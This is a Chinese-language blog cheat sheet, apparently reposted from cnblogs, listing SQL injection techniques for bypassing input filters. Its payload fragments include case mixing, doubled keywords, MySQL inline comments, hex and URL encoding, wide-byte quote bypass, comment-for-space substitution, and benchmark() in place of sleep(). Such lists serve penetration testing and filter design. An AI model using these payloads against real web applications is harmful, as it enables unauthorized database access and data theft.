• sql注入常见绕过技巧



    参考链接:https://blog.csdn.net/huanghelouzi/article/details/82995313

                      https://www.cnblogs.com/vincy99/p/9642882.html

    目录:

    1. 大小写绕过
    2. 双写绕过
    3. 内联注释绕过
    4. 编码绕过
    5. <>绕过
    6. 注释符绕过
    7. 对空格的绕过
    8. 对or/and的绕过
    9. 对等号=的绕过
    10. 对单引号的绕过
    11. 对逗号的绕过
    12. 过滤函数绕过

    0x01 大小写绕过

    UniOn SeleCt

    0x02 双写绕过

    ununionion seselectlect

    0x03 内联注释绕过

    内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。

    and /*!select*/ 1,2

    0x04 编码绕过

    16进制绕过:

    select * from users where username = test1;
    select * from users where username = 0x7465737431;

    对关键字进行两次url全编码:

    1+and+1=2
    1+%25%36%31%25%36%65%25%36%34+1=2 

    unicode编码对部分符号的绕过:

    单引号=> %u0037 %u02b9
    空格=> %u0020 %uff00
    左括号=> %u0028 %uff08
    右括号=> %u0029 %uff09

    0x05 <>绕过

    某些网站过滤了“<>”符号才行:

    unio<>n sel<>ect

    0x06注释符绕过

    uni/**/on se/**/lect

    0x07对空格的绕过

    /**/
    %20 %09 () 回车(url编码中的%0a) `(tap键上面的按钮) tap 两个空格

    0x08 对or/and的绕过

    and = &&
    or = ||

    0x09 对等号=的绕过

    不加通配符like执行的效果和=一致,所以可以用来绕过;

    rlike的用法和上面的like一样,没有通配符效果和=一样;

    regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配

    <> 等价于 !=  ,所以在前面再加一个!结果就是等号了

    ?id=1 or 1 like 1
    ?id=1 or 1 rlike 1
    ?id=1 or 1 regexp 1
    ?id=1 or !(1 <> 1)或者1 !(<>) 1

    0x10 对单引号的绕过

    宽字符

    # 过滤单引号时
    %bf%27  %df%27  %aa%27

    使用十六进制

    'users'=>0x7573657273

    0x11 对逗号的绕过

    盲注中使用 from n1 for n2 ,其中n1代表从n1个开始读取n2长度的子串

    select substr("string",1,3);
    等价于 select substr("string" from 1 for 3);

    使用join关键字来绕过

    union select 1,2,3
    等价于 union select * from (select 1)a join (select 2)b join(select 3)c

    使用offset关键字:

    适用于limit中的逗号被过滤的情况
    limit 2,1等价于limit 1 offset 2

    0x12 过滤函数绕过

    sleep() -->benchmark()

    and sleep(1)
    等价于 and benchmark(1000000000,1)

    group_concat()–>concat_ws()

    select group_concat("str1","str2");
    等价于 select concat_ws(",","str1","str2");
  • 相关阅读:
    侯策《前端开发核心知识进阶》读书笔记——JS基础
    侯策《前端开发核心知识进阶》读书笔记——API实现
    侯策《前端开发核心知识进阶》读书笔记——Javascript中的Closure
    侯策《前端开发核心知识进阶》读书笔记——Javascript中的this
    xss攻击和csrf攻击的定义及区别
    浏览器缓存类型
    函数截流和防抖
    阮一峰《ECMAScript 6 入门》读书笔记—— Generator 函数
    阮一峰《ECMAScript 6 入门》读书笔记—— Iterator
    阮一峰《ECMAScript 6 入门》读书笔记——Promise
  • 原文地址:https://www.cnblogs.com/-chenxs/p/11618846.html
Copyright © 2020-2023  润新知